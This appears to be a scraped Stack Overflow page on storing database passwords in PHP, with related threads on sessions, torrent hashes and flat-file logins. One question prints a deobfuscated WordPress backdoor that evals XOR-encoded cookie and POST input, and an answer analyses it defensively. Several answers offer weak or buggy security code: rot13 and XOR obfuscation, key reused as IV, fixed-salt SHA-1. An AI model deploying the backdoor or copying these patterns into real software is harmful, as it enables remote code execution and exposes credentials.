When using:
$con = mysql_connect('localhost','user','password')
I have read about the benefits of storing the password part elsewhere (https://stackoverflow.com/a/3354457/1704651).
I'm fairly new to PHP and want to know if my method of storing MySQL passwords is secure:
Step one, choose a lengthy MySQL Database Password (https://www.random.org/passwords/?num=1&len=24&format=html&rnd=new)
Step two, put this in /outsidewebroot/salt.php (my actual salt is longer)
<?php $salt = sdcjbdt8veADJbyuQxsfJtYeW7tC5; ?>
Step three, encode password using a temporary PHP file (which is deleted after use):
$decrypted = "my decrypted MySQL password"
$key = $salt;
$encrypted = base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, md5($key), $decrypted, MCRYPT_MODE_CBC, md5(md5($key))));
var_dump($encrypted);
Step four, put this code in .htaccess
SetEnv encrypted-password i3NOByNkztBtEbJ8LJMt2GbX9VjMzO2MTYtBXsxyYVI=
Step five, put this code where you need to connect to your database:
require_once("../../outside-webroot/salt.php")
$key = $salt
$decrypted = rtrim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, md5($key), base64_decode($encrypted-password), MCRYPT_MODE_CBC, md5(md5($key))), "\0");
$con = mysql_connect('localhost','user',$decrypted)
The salt in /outsidewebroot/salt.php is the same one that I use for hashing passwords in my database so I only have to include it once for two uses.
The encrypt/decrypt method I saw here: http://ideone.com/yQIAX
I have also seen this method: https://stackoverflow.com/a/3354457/1704651 using a hash instead of the encrypt/decrypt method.
Thank you for your feedback on my method.
No. If someone can get your files or run programs it's game over:
If your web directory is writable, I can simply add a line echo $decrypted; above that mysql_connect() and get the password.
I can copy your files down and edit them there.
Security is a process that you go through, not some library you can link into your program.
You should store the configuration in the php.ini file so that your program need only mysql_connect() (with no arguments). This is a good idea because it may be easier for an attacker to convince your system to print out source code and web-accessible files than print arbitrary fiels on your system.
On Unixish systems like OSX and Linux, you should make sure you're using unix domain sockets which do not expose your MySQL server to the Internet; someone cannot connect to your MySQL server if it is not on the Internet. This provides some further protection against the "get your files" attack.
Take care to not permit your web users to create php files (or anything else executable). This provides some protection against the "run programs" attack,
If I can upload/edit your files, I can do anything they can do, so you should also be careful about your GRANT statements that you put in your MySQL server: If only the administrator needs to do certain INSERT or DELETE to certain tables, consider running the admin scripts as a separate web-user with separate rights. If your scripts cannot delete all your data, then I as an attacker cannot either.
The first rule of security is that if you're not certain you're secure, then you probably aren't.
The next version of PHP (v5.5) will have a set of functions built-in that provide standardised password hashing. Once this version is released, that will be the only recommended way to handle passwords.
In the meanwhile, you can download a compatibility library that implements the same functions for current PHP versions. Download it from here: https://github.com/ircmaxell/password_compat
See also: http://www.h-online.com/open/news/item/PHP-5-5-should-reduce-password-sloppiness-1707835.html for reference.
Related
I found some code that I did not write in my public_html folder on my WordPress site. After a bit of effort, I was able to get it into a somewhat readable state, but it's still beyond me what it does. Could anyone with a better understanding tell me what this code was supposed to be doing?
If it helps, it had also overwritten my index.php file with this code, as well as had several references to a strange .ico file.
foreach (array_merge($_COOKIE, $_POST) as $key => $value) {
function fun1($key, $valueLength)
{
$keyGuid = $key . "49d339b2-3813-478a-bfa1-1d75be92cf49";
$repeatTimes = ($valueLength / strlen($key)) + 1;
return substr(str_repeat($keyGuid, $repeatTimes), 0, $valueLength);
}
function packToHex($inputToPack)
{
return #pack("H*", $inputToPack);
}
function fun3($exploded)
{
$modCount = count($exploded) % 3;
if (!$modCount) {
eval($exploded[1]($exploded[2]));
exit();
}
}
$value = packToHex($value);
$bitwiseXor = $value ^ fun1($key, strlen($value));
$exploded = explode("#", $bitwiseXor);
fun3($exploded);
}
Short answer: It is backdoor, it allows to execute arbitrary code on the server side.
Note: all you need to see is that it has eval and takes input from the user.
What arbitrary code? Whatever they want.
Long answer:
It will take data from $_COOKIE and $_POST as you can see. This data comes from the user. We can infer that this code was designed for a malicius user recieve data (which, either the malicius user will send directly, or via a bot).
What does it dose with this data? Well, it will over all the input, one by one, and try to:
$value = packToHex($value); Interpret it as an hexadecimal string and covert it to its binary representation. Silently fail if it isn't an hexadecimal string.
$bitwiseXor = $value ^ fun1($key, strlen($value)); apply a cheap cipher over it. This is a symetric substitution cipher, it depends on $key and the hard coded guid 49d339b2-3813-478a-bfa1-1d75be92cf49. We can asume that who injected this code knows the guid and how to cipher for it (it is exactly the same code).
$exploded = explode("#", $bitwiseXor); We then separate the result by the character "#".
And fun3($exploded); interpret it as code (see [eval][1]).
If all succedes (meaning that the input from the user was such that it triggered this process), then it will exit, so that it flow of execution never reaches your code.
Now, somebody injected this code on the server. How did they do it? I do not know.
My first guess is that you have some vulnerability that allows them to upload PHP code (perhaps you have a file upload function that will happilly take PHP files and put them in a path where the user can cause the server to run them).
Of course, there are other posibilities... they may have brute forced the login to your ftp or admin login, or some other thing that would allow them to inject the code. Or you may be running some vulnerable software (an outdated or poorly configured WordPress or plugin, for example). Perhaps you downloaded and used some library or plugin that does watherver but is compromised with malware (there have been cases). or perhaps you are using the same key as your email everywhere, and it got leaked from some other vulnerable site... or, this was done by somebody who works with you and have legitimate access, or something else entirely...
What I am saying is that... sure remove that code from your server, but know that your server is vulnerable by other means, otherwise it wouldn't have got compromised in the first place. I would assume that whoever did this is out there, and may eventually notice you took it down and compromise your server again (Addendum: In fact, there could be some other code in your server that puts it back again if it is not there).
So go cover all your bases. Change your passwords (and use strong ones). Use https. Configure your server properly. Keep your software up to date.
If you have custom PHP code: Validate all input (including file uploads). Sanitize whatever you will send back to the user. Use prepared sentences. Avoid suspicius third party code, do not copy and paste without understanding (I know you can do a lot without really understanding how it works, but when it fails is when you really need the knowledge).
Addendum:
If you can, automate updates and backups.
Yes, there are security plugins for WordPress, and those can go a long way in improving its security. However, you can always configure them wrong.
I'm creating a BitTorrent site.
If a user uploads a .torrent file I need to get the info hash to get more info from the tracker.
However I cannot seem to get the correct info hash from the file.
I've download the a .torrent ( http://www.mininova.org/get/2886852 ) from mininova.
According the mininova the info hash should be: 6a7eb42ab3b9781eba2d9ff3545d9758f27ec239 ( http://www.mininova.org/det/2886852 ). However when I try to create the info hash of the file I get the following: 3d05f149e604b1efaa0ed554a31e693755de7cb0
I don't have any clue as to why I cannot get the correct info hash.
If I understood correctly I have to create the hash from the info section of the torrent data.
The relevant code:
$bencode = new BencodeModel();
$data = $bencode->decode_file($form->fields['filename']->saved_file);
$hash = $torrentmanager->create_hash($data['info']);
The BencodeModel (too long to post here): http://pastebin.com/Zc5i94DQ
The create hash function:
function create_hash($info)
{
$bencode = new BencodeModel();
return urlencode(sha1($bencode->encode($info)));
}
I'm totally in the dark where I go wrong. Any help is much appreciated!
If you need more info just tell me and I'll update with relevant info.
EDIT
As requested the data for sha1:
var_dump($bencode->encode($info));
http://pastebin.com/HiQgRX6M
EDIT
This is getting more strange.
I've deployed the site to the live server (which runs on Linux) and the hashing works there.
However on my dev machine (Windows) it still doesn't work.
I've already tried replaced linebreaks/carriage returns.
Any ideas?
I was able to get the code to run on both Windows XP and 7 with PHP 5.3.x and get the correct hash. I'm guessing that the .torrent you're loading on Windows is different to the one you've loaded on Linux (possibly encoding issues).
Try running this code and see if you get the SHA1 hash 148251317dae971fcd5a5dcc5d4bde3d85130c8f echoed:
echo sha1(file_get_contents('your.torrent'));
which I'll assume would be:
echo sha1(file_get_contents($form->fields['filename']->saved_file));
If you get a different hash, then the file you're loading is not right.
The hash in the torrent file cannot be the hash of the file. Think about it.... The hash is based on its contents, and you can't know what the hash is in advance. So calculating the hash of the file, then embedding it in the file changes the hash of the file, invalidating the hash you just embedded.
The hash in a .torrent file is based on the contents of the file, but not the entire contents.
From the BT spec:
info_hash
The 20 byte sha1 hash of the bencoded form of the info value from the metainfo file. Note that this is a substring of the metainfo file. This value will almost certainly have to be escaped.
I've got a python/WSGI app which needs to check to see if a user has logged on to a PHP web app. The problem is that the PHP app checks if a user has logged on by comparing a value in the $_SESSION variable to a value in the cookie from the user's browser. I would prefer to avoid changing the behavior of the php app if at all possible.
My questions:
Is there anyway I can access the session variables from within python? Where should I start to look?
Are there any obvious security/performance issues I should be aware of when taking this approach?
yep. session (in default) is a regular file. so all what you need is look over session directory and find file with name of session cookie value. then - you have to implement php-like serialize/unserialize and do whatever you want.
nope
Depends on the PHP app, if it's keeping session data in a database (MySQL maybe) you can just connect to the database and get the data, if it's using native PHP sessions you should look to the session.save_path config setting in php.ini, that's the place where the runtime saves files with the session data.
Once you have the data you can parse it to get it unserialized, take a look at how serialize() and unserialize() work in PHP.
I'm currently in the process of trying to run a python server side by side with an existing Apache/php one. A custom solution I arrived at was to save the $_SESSION as an encrypted cookie, letting the php authentication operate as before, then share a private key between the two servers.
Two issues:
Up to you how to handle session expiry stuff.
I haven't bothered with an Initialization Vector, assuming the time stamp from my expiry stuff is enough. See https://stackoverflow.com/a/12486940/4495503 for why I might be being too security lax...
Anyway, my php encrypted cookie function:
session_start();
$encryptToCookie = function($varToEncode,$cookieName,$privateKey){
$iv = $privateKey;
$pass = $privateKey;
$method = 'aes-128-cbc';
$encryptedString = openssl_encrypt(json_encode($varToEncode), $method, $pass, true, $iv);
setcookie($cookieName,bin2hex($encryptedString));
};
$encryptToCookie($_SESSION,"sessionEncrypted","yohoyohoyohoyoho"); // private key must be 16bit
And my python side decryption:
from subprocess import Popen, PIPE
import binascii
def decrypt(encryptedString,privateKey):
encryptedString = binascii.unhexlify(encryptedString)
pathToOpenSSL = 'C:\pysrc\openssl\openssl.exe' # MODIFY THIS!!
openssl = Popen([pathToOpenSSL,
'enc','-aes-128-cbc','-d',
'-nosalt','-nopad','-K',
privateKey.encode('hex'),
'-iv',
privateKey.encode('hex')],
stdin=PIPE,stdout=PIPE)
decryptedString = openssl.communicate(encryptedString)[0].replace('\x04','')
return decryptedString
decrypt(encryptedString,'yohoyohoyohoyoho')
Hope this is of help to someone, remember all the usual stuff about generating private keys and then being careful with them!
Management strikes again.
How should I satisfy the code scanner that is going to read my php source and red flag my MySQL connection string?
Linux Server (soon to be Sun)
php 4.2 (soon to be latest version)
MySQL database
Servers in a DMZ outside of the firewall
Read only MySQL account
Not a single byte of non public information in the database
I have to encrypt my MySQL password in the connection string for no reason other than it is going to be red flagged by the automatic code testing solution. Management is enthralled with the concept of Pen Testing without understanding it.
I know full well it isn't any more secure to encrypt the password in the file with all the other measures in place, but my sites will be taken down if I don't comply. I know it hurts performance but this site isn't so popular, and isn't a huge database driven app anyway.
My attempt:
//encrypt and decrypt are functions I stole wholesale off of the php.net manual
...
$SuperSecure[0] = array(encrypt("test"), encrypt("test")); //dev
...
$dbcnx = mysql_connect('localhost', decrypt($SuperSecure[0][0]), decrypt($SuperSecure[0][1]));
Is there a better way? More importantly, am I missing something and this is actually necessary?
Edit: I can't fight national anymore. If I ignore this directive my site comes down and losing my job over this is dumb. I just to do this as easily (and with the least performance impact) as possible.
If you don't want to write the password directly into mysql_connect, why not write something like:
$username = 'test';
$password = 'test';
mysql_connect('localhost', $username, $password);
Without knowing how clever the scanner is you won't really be able to tell what obsfucation is enough to not raise any flags.
You can use rot13 to obfuscate (not encrypt) the password
Couldn't you define the default mysql host, username, and password in a php.ini file? Then the mysql_connect function looks like:
`mysql_connect();`
And unless a hacker has your php.ini file, they won't be able to access the username or password. Even if they changed the function to echo. Sure they could echo the directives, but I think it is obfuscated enough, as the password could not be found in any of the source files, aside from php.ini, which is a server-file.
Given, if someone did a phpinfo(); it also would be displayed in plain site, but it would still work.
This solution is very similar to the ODBC solution provided by another answer. It also has the flaw that if the scanner checks your php.ini file, it is going to end up red flagging that instead.
If you would like to make fun of it at the same time, I'd suggest randomly putting snippets of your mysql code in random files that are all includes before you need to connect. AKA
Index.php
Global $password;
$password = "S";
RandomFile.php
Global $password;
$password .= "T";
RandomFile2.php
Global $password;
$password .= "A";
RandomFile3.php
Global $password;
$password .= "CK";
RandomFile4.php
Global $password;
mysql_connect($host, $username, $password."Overflow");
XOR! The basis of the venerable one-time pad. It's legitimate encryption, makes you look more suave then rot13() and anybody competent should be able to figure it out. At the same time, nobody will be grepping your password.
<?
$pass = 'foobar';
$key = 'monkey';
$secret = $pass XOR $key;
$list = array($key, $secret);
foreach($list as $x) {
print "Keypart: ";
print implode(unpack('H*',$x));
print "\n";
}
?>
Aaand I suddenly hate how PHP does arrays... Now, take the output of that...
<?
#Keypart: 6d6f6e6b6579
#Keypart: 666f6f626172
$secret = '666f6f626172';
$key = '6d6f6e6b6579';
$pass = pack('H*', $key) XOR pack('H*', $secret);
print "$pass\n";
?>
The first part is your encryption generator, and the second part is what you have to put in the program. The only rule is that whatever bytestring you XOR the password against should be the same length as the password. It probably won't do anything unwanted if it isn't, but I don't feel like building a testcase.
It IS unnecessary, since you'll just obfuscate the password. Anyone who has the source could log in to the database since your PHP script has to know decrypt to get the original password.
Example
let's say that your password is a number, for example 42 and that encrypt is a function which multiplies by two and decrypt does the opposite.
Then, you'll store 84 in the code somewhere. However, PHP has to know the decrypt function also and will convert it to 42 first before connecting to the database. So, since everything you need has to stand in the PHP file, it is pointless to obfuscate the necessary information.
Some evil hacker which has your source could always replace the mysql_connect in your code example with an echo and will get the plain text password...
Easy obfuscation
Maybe it suffices to use something like "t"."e"."s"."t" instead of "test" in your code to bypass detection of the password...
You could use an ODBC connection to access the database. The ODBC abstraction layer stores its connection properties in a separate file (in UnixODBC, it's /etc/odbc.ini and ~/.odbc.ini). That way, the system DSN can know how to access the database, and your script will rely on it.
I'd advise caution in using ODBC, though, as it doesn't have access to some of the more complicated functions and queries that a straight MySQL connection does.
I might be missing the point here, but let me ask this.
Why are you not storing your mysql connection information in some form of config file, that is included at run time, and using some form of database abstraction, rather then peppering your code with mysql_connects and other legacy methods of dealing with database connections?
I would find it doubtful that your automated code scanning solution would read plaintext ini files, or xml ini files, and some frameworks, Like Zend, make it very easy to deal with these types of configuration files, so that your password is not scattered throught your code, or web accessible at any point...
It sounds like you have all the other measures in place(server outside of network, secure mysql account with only the needed privs.). Am I misconstruing what you are doing, or is there a reason to avoid the best practices here?
Regards
Been using Windows as server from day 1 and dunno whether my way has been wrong from the start, but storing credentials in registry (and reading from it) works and I've been doing it this way.
Here's my snippet:
$Root = HKEY_CURRENT_USER;
$key = "Software\MyApp1";
if (!($registry = #reg_open_key($Root, $key))) {
throw new Exception("Valid Credential not found.");
}else{
$user = reg_enum_key($registry, 0);
$passw = reg_enum_key($registry, 1);
}
reg_close_key($registry);
I am working on my first PHP based website, and I was wondering what solutions were out there for a username/password system? I have tried using a .htaccess file for basic security, and while it works, I want something a little easier for a layman to administer. Are there any other solutions out there that I could try? I don't have a database server available, so it would have to support flat file databases...thanks!
Edit I have determined that I do have SQLite support, so I do have a database option available. Also, I feel I should mention a little further some requirements that I have. I originally looked to using .htaccess to protect my website, since I need security over the entire directory. Most of the files I am trying to protect are .pdf and .doc...any solution would have to allow me to secure those files as well as any web pages in the directory.
If I could find a good solution to more or less "skin" the .htaccess method of locking a directory, so that I could do things like have an actual login/register page, etc. then I would just stick to the .htaccess method. I would however like something that is more manageable, I just need the directory security.
I wrote up this code quickly, it is syntacticly correct but I have not tested it.
There are 2 things that I did not do here, first, I did not provide a function to remove a user and second I did not provide a function to change a users password, these you'll have to write yourself.
However this should provide for a good place to start.
These functions will store your usernames/passwords in a file called passwords in the following format
username0:password0
username1:password1
username2:password2
...
.
function authenticate($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in theaddUser() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//First we need to get the contents of the file that has the usernames/passwords in it.
//we don't want to use fopen() or we may end up with a locked file error if another access is
//attempted before we've closed it.
//this line will get the contents of the file named passwords and store it in the $fh variable
$fh = file_get_contents('passwords');
//Now lets take the file and split it into an array where each line is a new element in the array.
$fh = split("\n", $fh);
//Now lets loop over the entire array spliting each row into it's username/password pair
foreach($fh as $r)
{
//Every time this loop runs $r will be populated with a new row
//Lets split the line into it's username/password pairs.
$p = split(':', $p);
//Since we don't need all the usernames/password to be in memory lets stop when we find the one we need
if($p[0] == $username && $p[1] == sha1($salt . $password))
{
//We've found the correct use so lets stop looping and return true
return true;
}
}
//If we've reached this point in the code then we did not find the user with the correct password in the 'database'
//so we'll just return false
return false;
}
function addUser($username, $password)
{
//ALWAYS use a salt to secure the encryption of your passwords, this can be any value of any
//length, the longer and the more characters the better
//I like to use a "perfect password" from Steve Gibbson's https://www.grc.com/passwords.htm
//This must the exactly the same as the salt in the authenticate() function
$salt = 'voDeaFWckErOPPGwiapYBwEoc4O2d1M60m2QsYc7A15PUshrLamoVioG1wUmEgF';
//We need to parse out some preticularly bad characters from the user name such as : which is used to seperate the username and password
//and \r and \n which is the new line character which seperates our lines
$username = preg_replace('/\r|\n|\:/', '', $username);
//Now lets encrypt our password with the salt added
$password = sha1($salt . $password);
//Lets build the new line that is going to be added
$line = $username . ':' . $password . "\n";
//Lets open the file in append mode so that the pointer will be placed at the end of the file
$fh = fopen('passwords', 'a');
//Write the new entry to the file
fwrite($fh, $line);
//Close the file
fclose($fh);
//Typicaly one would write a bunch of error handling code on the above statments and if something
//goes wrong then return false but if you make it this far in the code then return true
return true;
}
Have a look at Zend_Auth. It's open source, so you can sniff around to get a feel for how an authentication module should (or could) be implemented. From the doc:
Zend_Auth is concerned only with
authentication and not with
authorization. Authentication is
loosely defined as determining whether
an entity actually is what it purports
to be (i.e., identification), based on
some set of credentials.
Sure, there are plenty of flat file database PHP security systems available. Doing a quick Google search will pull up many results. Here is a tutorial:
http://www.devshed.com/c/a/PHP/Private-Pages-with-PHP-and-Text-Files/
Check if you have support for sqlite, it doesn't require a server so it might work for you.
And don't forget to hash your passwords. ;)
To check create a file (ex. php_info.php) add:
<?php
phpinfo();
Then upload the file to your host, load it in your browser (example.com/php_info.php) and do a search for sqlite.
You should see several references to sqlite in the page that shows if you have support. The line with "SQLite Library" will tell you the version of sqlite you have (if you have it).
Also once you are done you should delete the php_info.php file from your site, since it does give some information on your setup which can be helpful to crackers.
have you seen if you have SQLite available? It is PHP's built in database. If not you could just use read/write to a file hope this helps a bit
According to this page from the Apache website:
In general, you should never use .htaccess files unless you don't have access to the main server configuration file. There is, for example, a prevailing misconception that user authentication should always be done in .htaccess files. This is simply not the case. You can put user authentication configurations in the main server configuration, and this is, in fact, the preferred way to do things.
Its easy to see why this is so, too. Its far preferable to have centralized control, rather than digging through EVERY SINGLE DIRECTORY when debugging a faulty configuration.
I urge you to transfer your .htaccess file config to your main configuration file ASAP, for your own good!